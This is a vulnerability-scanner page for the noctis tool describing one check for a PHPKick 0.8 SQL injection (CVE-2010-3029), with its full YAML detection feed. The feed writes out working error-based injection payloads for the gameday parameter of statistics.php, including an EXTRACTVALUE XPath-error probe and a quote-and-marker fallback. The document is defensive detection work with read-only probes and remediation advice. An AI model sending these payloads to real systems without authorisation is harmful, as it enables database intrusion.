PHPKick — 1 vulnerability check

noctis ships 1 vulnerability check for PHPKick, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHPKick statistics.php 'gameday' SQL Injection

CVECVE-2010-3029
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpkick/CVE-2010-3029.yaml

Tests PHPKick 0.8 for the unauthenticated SQL injection through the gameday parameter of statistics.php (overview action). In the web root and in the /phpkick and /PHPKick directories, once index.php shows the PHPKick title, the feed requests statistics.php?action=overview with a gameday value that makes the database raise an XPath error carrying the product of two random numbers. The correct product in the page confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, provided the same page with a plain numeric gameday shows no SQL error. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/statistics.php?action=overview&gameday=1%20AND%20extractvalue(1,concat(0x7e,{…
  6. Parses / computes the next value with a Rhai script
  7. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: PHPKick statistics.php 'gameday' SQL Injection (CVE-2010-3029)
  8. HTTP(S) request GET {{dir}}/statistics.php?action=overview&gameday=1%27{{m.tag}}
  9. HTTP(S) request GET {{dir}}/statistics.php?action=overview&gameday=1
  10. Parses / computes the next value with a Rhai script
  11. Checks syn for ^SQL syntax error quoting Noctis[A-Za-z0-9]+$ → finding QoD 75: PHPKick statistics.php 'gameday' SQL Injection (CVE-2010-3029)

References:

Feed source — tests/vulnerabilities/phpkick/CVE-2010-3029.yaml
# PHPKick 0.8 statistics.php 'gameday' SQL injection — CVE-2010-3029
#
# PHPKick 0.8 pastes the raw gameday GET value of statistics.php
# (action=overview) into its statistics query as a bare number and prints the
# MySQL error when the query fails. The public PoC (EDB-14578) appends
# "union select ..." to gameday without any quote, which pins the numeric
# context. The application source is no longer published.
#
# Detection (benign, read-only), per candidate install directory
# ("", /phpkick, /PHPKick):
#   1. GET <dir>/index.php must carry the stock "<title>PHPKick</title>".
#   2. GET <dir>/statistics.php?action=overview&gameday=1 AND
#      extractvalue(1,concat(0x7e,<a>*<b>)). The database raises
#      "XPATH syntax error: '~<a×b>'", printed by the page. The product of two
#      random 6-digit operands is not in the request, so a page that only
#      echoes the URL cannot produce it. MySQL / MariaDB fold the constant, so
#      it errors even when no row matches. QoD 97.
#   3. Fallback (MySQL < 5.1 has no EXTRACTVALUE): gameday=1'<marker> must print
#      a MySQL "SQL syntax" error quoting the random marker, while the control
#      gameday=1 prints no SQL error (fail-closed: the control must answer).
#      QoD 75.
#
# Improvements over the source NASL (which sends gameday=, and looks for the
# fixed strings "SQL syntax;" + "MySQL server"): a database-computed proof
# (QoD 97), a random marker and an error-free control for the fallback, so a
# page that prints a canned SQL error for any input is not reported.
#
# CVSS: CVE-2010-3029 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_phpkick_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801431, GPL-2.0-only).
uid: c0450e58-e1da-4b86-8c7e-b461bae41cc6
name: "PHPKick statistics.php 'gameday' SQL Injection (CVE-2010-3029)"
description: |
  Tests PHPKick 0.8 for the unauthenticated SQL injection through the gameday
  parameter of statistics.php (overview action). In the web root and in the
  /phpkick and /PHPKick directories, once index.php shows the PHPKick title,
  the feed requests statistics.php?action=overview with a gameday value that
  makes the database raise an XPath error carrying the product of two random
  numbers. The correct product in the page confirms that the database ran the
  injected expression; the product is not part of the request, so a page that
  only echoes the URL is not reported. On databases without the EXTRACTVALUE
  function, the feed instead reports a MySQL syntax error that quotes a random
  marker sent after a single quote, provided the same page with a plain
  numeric gameday shows no SQL error. The probes read no table row and change
  nothing.
cves: [CVE-2010-3029]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpkick, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3029"
  - "https://www.exploit-db.com/exploits/14578"
  # OpenVAS/Greenbone NASL 2010/gb_phpkick_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/phpkick", "/PHPKick"]
      var: dir

  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: home

  - id: gate
    action: script
    code: |
      if proof == "" && type_of(home.body) == "string" {
        egrep("(?i)<title>\\s*PHPKick", home.body) != ""
      } else { false }
    store_as: is_pk

  # gameday=1 AND extractvalue(1,concat(0x7e,<a>*<b>))
  - id: inject
    action: http_request
    method: GET
    path: "{{dir}}/statistics.php?action=overview&gameday=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_pk == true'
    store_as: num_r

  # The error text may be HTML-escaped by a front end; accept the quote in any
  # common form, or none.
  - id: verdict-xpath
    action: script
    code: |
      if is_pk == true && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "PHPKick statistics.php 'gameday' SQL Injection (CVE-2010-3029)"
        description: "An unauthenticated GET to statistics.php?action=overview with SQL appended to the gameday parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the database user may run can be injected the same way, including reading the user accounts and their password hashes."
        remediation: "PHPKick is no longer maintained and no fixed release exists. Remove the application or restrict access to it, or patch statistics.php to cast gameday to an integer before it reaches the query and stop printing database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/statistics.php?action=overview with an injected gameday computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallback for MySQL < 5.1: syntax error quoting a random marker, with a
  # control request that shows no SQL error.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/statistics.php?action=overview&gameday=1%27{{m.tag}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_pk == true && proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/statistics.php?action=overview&gameday=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_pk == true && proof == "" && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != ""'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && is_pk == true && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" && ctl_r.status == 200 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 { "SQL syntax error quoting " + m.tag } else { "" }
    store_as: syn

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[A-Za-z0-9]+$"
    on_match:
      finding:
        title: "PHPKick statistics.php 'gameday' SQL Injection (CVE-2010-3029)"
        description: "An unauthenticated GET to statistics.php?action=overview with a single quote and a random marker in the gameday parameter returned a MySQL syntax error quoting the marker, while the same page with a numeric gameday showed no SQL error: the parameter is pasted into the query unescaped. Any query the database user may run can be injected the same way."
        remediation: "PHPKick is no longer maintained and no fixed release exists. Remove the application or restrict access to it, or patch statistics.php to cast gameday to an integer before it reaches the query and stop printing database errors to visitors."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/statistics.php?action=overview&gameday=1'{{m.tag}} returned a MySQL syntax error quoting {{m.tag}}; GET {{dir}}/statistics.php?action=overview&gameday=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

View these feeds on GitHub